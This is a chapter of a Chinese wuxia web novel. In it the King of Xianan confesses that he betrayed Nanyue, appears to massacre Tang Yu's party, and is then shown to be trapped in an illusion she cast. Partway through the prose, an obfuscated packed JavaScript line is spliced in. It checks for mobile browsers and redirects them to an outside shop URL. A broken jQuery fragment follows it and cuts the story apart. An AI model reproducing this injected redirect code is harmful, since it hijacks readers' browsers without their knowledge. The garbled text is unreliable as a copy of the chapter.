79. 绮梦 十
作品:《江湖何曾骗真心》 此话,其他人听见还有些困惑,唐家人却是脸色一变。
唐阳更是上前一步,护在姐姐身前,恶狠狠瞪着对方,“难怪爹爹奇怪当年,为何南疆人会追杀南疆人。”
夏南王脸上笑容浅淡,双手背至身后,仰望明月,感叹道:“南月当年何其鼎盛?何曾将我南诏放在眼中?”
“他们仗着那些毒蛊秘术,在南□□大,对我等小国进行剥削掠夺。为对抗大夏,更是贪得无厌,强制向诸国征兵。”
他的眼神逐渐阴郁,“而我南诏地缘特殊,正夹在南疆与大夏之间,长期遭受两方的威胁。为了生存,也为了我的子民,我才无奈委质大国。既已做出抉择,我自然不会允许,南月有任何翻盘机会。”
唐雨却在此刻轻轻笑了,“难怪你会支持月楹杀‘月绮梦’,原来你从未希望南月复国。”
“自然。”他微笑,“即使南月复国成功,说到底,也不过是多了一个‘大夏’来压迫我们罢了。只有自己为王,才算是真正的赢家。”
唐雨却仍有好奇,问:“可你又为何要去支持南月,培养新的圣女?”
“总得……给他们看到些希望吧。毕竟,他们可养不出真正的‘月绮梦’。”夏南王眼中闪过一抹阴光。
“为何?”
“因为,他们所得月氏秘术,是残卷啊。”
他脸上不由浮现出得意之色,缓缓道:“圣女培养之法实则分为两部分,一半被月氏掌管,而另一半,则由南月皇族珍藏。他们所得,不过是国灭之际,被埋于战火与尸骨下,万蛊血池中月氏那部分。”
“至于皇族所藏,则早由我收入囊中。说到底,他们还该感谢我,替他们保管这么多年。”
说完,夏南王放声大笑,笑声在深夜中极为刺耳。
“感谢?”唐雨微微蹙眉,“感谢你,让那些无辜南疆少女,去成为注定失败的素材?”
她冷笑,“你说,若南月人知道,当年是你害其国破,如今可还会将你当作盟友?”
夏南王却眸光骤暗,冷哼:“我害了南月?”
随即,他仰头大笑,笑声中是多年压抑后的癫狂:“我南诏不过弹丸小国,如何能蚍蜉撼树?即使我不出手,大夏强兵之下,南月也必亡!只是有我,大夏才能在伤亡如此低的情况,轻松拿下南月。”
他顿了顿,突然转向谢行征,挑眉道:“说起来,谢小将军当年此战成名,还该得感谢我才对。”
见对方如此不要脸的揽功,急脾气的望山岳怒火中烧,刚想提刀上前,却被身旁谢行征拦下。
他脸上看不出喜怒,回忆道:“当年朝廷确曾送来一封密信,不仅附有详细绘制的南月皇城布局,甚至标注出了圣地密道的入口。谢家军确实因此顺风顺水,打了南月措手不及。却没想到,此人就是你。”
“没错。”夏南王毫不避讳地承认。
众人见他承认,也不免倒吸一口凉气。
皆未想到,原来当年南月覆灭,背后竟是被南疆自己人出卖。
夏南王却似说着一桩无关紧要的小事般,“此事,是我给大夏朝廷的投名状,不是什么大秘密。不然,你们以为只是投降,楚文帝会如此轻易接纳我?还给我封郡加爵?”
他抬手轻拍衣角薄灰,冷笑道:“这一切,不过都是我付出足够的诚心,换来的。”
唐雨却已了然,评价:“听上去冠冕堂皇,却不过是你既自私又懦弱罢了。”
夏南王脸上笑容微微凝滞,眸光冰寒。
“看来,在背后使用阴谋诡计,是你惯用的手段。”唐雨步伐缓慢,却一步步上前逼近。
“当年为了保存自己,你明明出卖南月,却还要伪装成无奈求和。虽从大夏得利,可归顺后,又妒恨自己无权无势,想卷土重来,又不敢自己行动。于是,你才暗中帮助南月,撺掇南疆诸国去发动叛乱吧?”
唐雨抬眸,毫不留情地指出,“而你呢?你却始终处在那最安全的位置。”
“若南疆未能成事,你可以仍是那忧民思君的夏南王。而若南疆事成,作为幕后之人,你又能轻易将权利收回囊中,甚至在战乱中略施恩惠,让百姓对你感恩戴德。”
“到时,他们自然而然会拥你为王。而你,也终将成为那最后吃掉螳螂的黄雀。”
和南月摆在明面上的狼子野心与恶毒手段不同,夏南王是一个懦弱又阴险的操纵者。
不流血,不动刀,不担罪责,却得到最大的利益。
他沉默片刻,然后低低地笑了。
即便唐雨字字句句,彻底剥开他多年的伪装,可那又如何?
夏南百姓、南疆叛党,都还是蒙在鼓里。而他要做的,就是让唐雨一行,将真相留在这里,哪都不能带去。
他狞笑着抬手,“给我动手!”
霎时,夏南王府外出现一批举着火把的官兵,将众人后路堵住。
而前方,则有那满府蛊人。
四周墙头之上,更是出现数十张硬弓拉满,箭头寒光森然,齐齐对准她们。
虽大部分兵力已被派往城南,可对付唐雨一行,仍是绰绰有余。
“放箭!”
随着一声令下,密密麻麻的箭矢撕裂空气,如暴雨倾盆。
唐忆晴当即展开银伞,望山岳与谢行征也挥剑抵挡箭雨,其余众人则暂且躲在三人的保护圈之中。
可随即,猛攻而来的便是悍不畏死的蛊人,和气势汹汹的官兵。
众人立即迎上前敌。近身搏杀数十招,且顶着暗箭威胁的情况下,实在是寡不敌众,多多少少都带上些伤。
虽战局不利,却也无人放弃。
唐雨左边刚击退来者,前方又有人袭至,她往后闪了两步,抬手运力击去。
却不料,虽避开此处,可背后却是一寒。
一把利剑朝她劈来!
“噗——!”
谢行征眼疾手快,用自己的身躯为她挡下,霎时胸前出现一道长口,鲜血飞溅。
唐雨面色瞬间惨白,慌乱转头,“谢行征!”
心神慌乱间,她扑向前去试图护住他,可却恰恰给自己背后留出破绽。
箭矢破空而来,毫无偏颇的深深没入唐雨身体,鲜血瞬间染透衣衫。
唐雨口中溢出猩红血花,再无气力支撑身体,直直向前栽去。
几乎是差一点,她就能抓住谢行征的衣角。
夏南深秋的地面,又湿又寒。
而唐雨与谢行征,就这般倒在地上,无声无息的死去。
随着两人倒地,其余众人很快也被杀死,血的腥气在夏南王府庭院中弥漫开来。
夏南王惬意踱步至那满地尸体前,欣赏着对手的血渗出,最终汇成一小片湖泊。
他笑了。
仰天笑得癫狂。
既不像赢得天下的霸主,也不似疯魔之人。而是一个多年压抑愤恨、缩藏于阴影中的懦弱者,终于能毫无顾忌撕开自己伪装时,那扭曲的快感。
“哈哈……哈!”
他笑得眼泪都溅出来,彻底沉浸自己胜利的喜悦中。
即使唐雨猜到又如何?
即使谢家军再骁勇又如何?
即使他输过那一两步棋又如何?
说到底,他还是赢了!
终于,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845262|180495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再不用受大夏压制,也不会成为任何人的附庸。
便从夏南的胜利开始,让他一步一步,慢慢将大夏蚕食殆尽。然后,成为正真的王!
“我,才该是这天下的王!”
夏南王的疯笑在空旷的王府前庭久久回荡不散。
却无人回应。
……
唐门暗器的帮助下,围墙那批弓箭手都被众人清理干净。
唐雨此刻才有机会,在蛊人与官兵战斗的混乱中,看向那躺倒在红木雕花椅上,在梦境中兀自得意、以为胜券在握的夏南王。
他陷入的,是一场最绮丽的梦。
她勾唇笑了笑。
笑得极轻,极淡,带着些许讽刺。
眼底剩余的金色光芒逐渐褪去,她身边所有人都完好无损,甚至未费多少气力,便控制住了局面。
她转头,看向瘫坐在地的月楹。她不知是气的,还是怕的,整个人看上去失魂落魄,还正浑身发抖。
“你选人的眼光,”唐雨将被风吹乱的发丝挽在耳后,淡声道:“真不怎么好。”
这微不足道的评价,却让月楹泪水汹涌落下。
她整个人彻底颓然,喃喃道:“为什么……”
“为什么,我怎么选都是错的?而你……你怎么选都是对的?”
唐雨望着她,那目光既无轻视,也无怜悯。只是透过她,仿佛看到另一段,起点相同,可过程和结果却完全不同的命运。
“你有没有想过,他为什么不跑,非要等我们找来王府?”唐雨侧头望向仍沉溺幻境的夏南王,轻声问。
“为什么?”月楹眼中泛起迷茫。
“因为,他仍觉得自己胜券在握。”唐雨低头看她,失笑,“他不相信所有人,所以会计划好你们的失败,并为自己找到退路。可他却忘了,自己可能会输。”
月楹愣住。
唐雨继续道:“你们又何曾相信过他?毕竟,若你们曾告诉他月绮梦真正的能力。而不是浅薄的‘驱策百蛊,百毒不侵’。他应该也不会傻傻在这等着,非要亲眼看我们死。不过……”
她顿了顿,认真问:“哪怕他知道,你觉得像这种懦弱胆怯的人,能从梦中醒来吗?”
月楹张了张嘴,却不知该如何回答。
唐雨目光落回,那闭眼笑得沉醉的夏南王。
“这种人,即使知道梦是假的,也会为了不面对现实残酷的失败。而彻底迷失在,绮梦为他编造的幻境中吧。
月楹听着,肩膀抖得更加厉害,泪水顺着脸颊划过,最终无助掉落在地。
“这个世界……真的很不公平。”她颤声道。
“我只是,想被重视、被需要。我那么拼命活下去,尽心尽力为南月筹谋,可为什么?我怎么做都是错,都输给你……”
她哭得几乎快不能呼吸。
唐雨半蹲下身,与她平视。
语气忽然非常认真,也非常温和:“月楹,你真的……怎么选都是错的吗?”
月楹抬头,眼中满是破碎。
唐雨轻声问:“我记得不论是在中京,还是在圣地时,那位盲眼老翁,不是一直陪在你身边,保护着你吗?”
月楹浑身一震。
“你若真的不幸,怎么会在万蛊血池中活下来?怎会刚好被人发现救走?又为何有机会换一张新皮生活?”
唐雨那毫无情感波澜的双眼,一错不错地望着她,“变成我这般,被绮梦夺走所有情感,真的很好吗?”
月楹答不上来。
唐雨也不在意,起身留下最后一句。
“你只是,输给了自己的执念。”

